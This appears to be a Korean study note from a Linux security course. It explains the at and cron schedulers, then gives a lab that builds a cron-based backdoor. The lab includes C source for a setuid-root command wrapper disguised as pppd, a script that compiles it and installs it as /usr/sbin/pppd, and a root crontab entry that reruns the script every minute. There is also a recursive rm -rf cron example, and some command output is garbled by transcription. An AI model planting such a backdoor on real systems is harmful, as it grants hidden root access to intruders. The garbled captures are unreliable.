# 명령어 at

- 지정한 시간에 원하는 명령이나 작업을 실행
- 한번만 실행되는 경우 주로 사용
- atd데몬의 의해 실행
- 지정한 작업은 큐에 저장되며 저장된 작업들은 /var/spool/at 디렉터리에 저장

```
#at 13:00pm

ls -al > /TEST/today

Ctrl+d

#at -1

#at -c 1

#at -d 1
```

## 명령어 cron

- 주기적으로 프로세스를 실행 시 사용
- 시스템 운영 또는 사용자의 필요에 의한 작업으로 나뉨
  - 시스템 운영에 필요한 작업: root권한으로 /etc/crontab에 등록
  - 일반 사용자 : /var/spool/cron/사용자ID 에 등록

### 0 12 \* \* 1-5 /etc/work.sh

- 월요일~금요일까지 오후 12시 실행

10 4 1 1-12/2 \* /etc/work.sh

- 1월부터 12월까지 2개월마다 1일날 오전 4시 10분에 실행

0 10 \* \* 1 cat /root/notice | mail -s " notice" gildong@test.com

0 4 \* \* 1,3,5 find / -name '\*.bak' -exec rm -rf {} \;

\*/10 \* \* \* \* /etc/work.sh

### LAB 3. Cron 데몬을 이용한 Backdoor 생성

```
(root@kall)-[/home/gildong]
# cat backexec.c
#include <stdio.h>
main(int argc, char *argv[])
{
    char exec[100];
    setuid(0);
    setgid(0);
    sprintf(exec, "%s 2>/dev/null", argv[1]);
    system(exec);

printf("./pppd: The remote system is required to authenticate itself\n");
    printf("./pppd: but I couldn't find any suitable secret (password) for it to use to do so.\n");
}
```

#cd /home/gildong #cat backexec.c

```
croot@kali)-[/]
# ls -ld /etc/cro*

drwxr-xr-x 2 root root 4096 Dec 5 2022 /etc/cron.d

drwxr-xr-x 2 root root 4096 Dec 5 2022 /etc/cron.daily

drwxr-xr-x 2 root root 4096 Dec 5 2022 /etc/cron.hourly

drwxr-xr-x 2 root root 4096 Dec 5 2022 /etc/cron.monthly
-rw-r--r-- 1 root root 1042 Nov 13 2022 /etc/crontab

drwxr-xr-x 2 root root 4096 Dec 5 2022 /etc/cron.weekly
```

#ls -ld /etc/cro\*

```
root@ kali)-[/etc/cron.d]
 −# cat set.sh
gcc -o backexec /home/gildong/backexec.c
chmod 4755 backexec
mv backexec /usr/sbin/pppd
   (root⊗kali)-[/etc/cron.d]
    ls -l set.sh
-rw-r--r-- 1 root root 88 Oct 24 23:12 set.sh
   (root⊗kali)-[/etc/cron.d]
  chmod 755 set.sh
   (root@kali)-[/etc/cron.d]
   ls -l set.sh
-rwxr-xr-x 1 root root 88 Oct 24 23:12 set.sh
     oot@kali)-[/etc/cron.d]
```

#cd /etc/cron.d #nano set.sh #ls —l set.sh #ls —l set.sh #ls —l set.sh

#### #nano /etc/crontab

\* \* \* \* \* root /etc/cron.d/set.sh

```
-[/etc/cron.d]
    tail -l /etc/crontab
                — day of week (0 - 6) (Sunday=0 or 7) OR sun, mon, tue, wed, thu, fri, sat
                user-name command to be executed
                        cd / & run-parts -- report /etc/cron.hourly
                root
                      test -x /usr/sbin/anacron || { cd / & run-parts --report /etc/cron.daily; }
                root
                      test -x /usr/sbin/anacron || { cd / & run-parts --report /etc/cron.weekly; }
                root
                        test -x /usr/sbin/anacron | { cd / & run-parts -- report /etc/cron.monthly; }
52 6
                root
     * * root /etc/cron.d/set.sh
      ot@kali)-[/etc/cron.d]
    service cron restart
```